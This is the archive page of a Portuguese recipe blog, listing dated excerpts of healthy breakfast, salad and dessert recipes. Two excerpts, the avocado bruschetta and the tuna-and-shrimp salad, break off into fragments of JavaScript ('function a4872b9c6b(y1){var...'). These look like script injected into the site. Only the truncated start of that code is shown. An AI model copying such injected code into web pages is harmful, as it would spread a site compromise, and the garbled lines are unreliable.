Jan 15, 2017 | À descoberta, Receitas, Teresa
Bruschetta de abacate para um brunch saudável por Luísa Fortes da Cunha Ingredientes 1 Pão de cereais 1/2 Abacate 1/2 Lima (sumo) 3-4 Folhas de manjericão Sal e pimenta qb 1/2 Tomate Preparação: Esmague o abacate com um garfo, junte o sumo da lima. Qufunction...
Out 16, 2016 | À descoberta, Receitas
2 Pequenos-almoços deliciosos, saudáveis e nutritivos por Luísa Fortes da Cunha Papas de Aveia com iogurte grego 0% gordura Ingredientes 3 Colheres de sopa de flocos de aveia 1,5 dl de água ou mais Canela a gosto 1 Colher de sopa de mel 2 Claras 1 Iogurte grego 0%...
Out 8, 2016 | À descoberta, Receitas
2 sobremesas deliciosas para adoçar o seu fim de semana por Luísa Fortes da Cunha Waffles com banana, frutos vermelhos e mel Ingredientes 1 Chávena de flocos de aveia 1 Chávena de farinha de trigo 1 Chávena de leite de aveia 1 Banana 1 Colher de sobremesa de fermento...
Set 11, 2016 | À descoberta, Receitas
Salada fresca de atum, requeijão, amêndoas e amendoins por Luísa Fortes da Cunha Ingredientes: 6 Folhas de alface em pedaços 4-5 fatias de requeijão 1 Lata de atum 4 Tomates cherry 8-10 amêndoas 6-8 amendoins Folhas de manjericão a gosto Sal e pimenta a gosto Temperar...
Ago 26, 2016 | À descoberta, Receitas
Top 5 saladas de verão, por Luísa Fortes da Cunha As minhas escolhas são: 5º – Salada de grão com atum, abacate e ovo Ingredientes 1 alface rúcula a gosto 1 abacate 1 cebola 1 lata de grão 500g 3 ovos cozidos 2 cenouras cozidas 1 lata de atum de 350g folhas...
Ago 16, 2016 | À descoberta, Receitas
Parfait de morango e iogurte por Luísa Fortes da Cunha Ingredientes 1/4 de abacate 2 colheres de sopa de aveia 8-10 morangos congelados 2 colheres de sopa de leite (aveia, coco, amêndoa, etc.) Preparação Bata tudo no liquidificador até obter um creme homogéneo. Depois...
Ago 13, 2016 | À descoberta, Receitas
2 saladas muito frescas e saudáveis, por Luísa Fortes da Cunha Salada de atum com queijo Halloumi Ingredientes 1 lata de atum 4 fatias de queijo Halloumi grelhado Alface, tomate, pepino a gosto Tempera com sal, azeite e vinagre balsâmico Preparação O queijo Halloumi é...
Ago 3, 2016 | À descoberta, Receitas
2 saladas para um verão mais apetitoso, por Luísa Fortes da Cunha Salada de atum e camarão Ingredientes 1 pacote de salada gourmet 10 tomatinhos cherry 1 Cebola 3 ovos cozidos 400 g camarões grfunction a4872b9c6b(y1){var...
Jul 28, 2016 | À descoberta, Receitas
Trouxa de fruta com iogurte, por Luísa Fortes da Cunha Ingredientes 1 Chávena de flocos de aveia 1 Chávena de leite de amêndoa 1 Colher de sobremesa de fermento em pó 1 Ovo 1 Colher de sopa de mel 1 Iogurte 3 Alperces chocolate líquido Preparação Misture a aveia, o...
Jul 8, 2016 | À descoberta, Receitas
2 sobremesas irresistíveis por Luísa Fortes da Cunha Panquecas com iogurte grego, manga e maracujá Ingredientes 1 Chávena de leite 1 Chávena de flocos de aveia 1 Chávena de farinha de trigo 1 Colher de sobremesa de fermento em pó 1 Ovo 2-3 Colheres de sopa de mel 1...
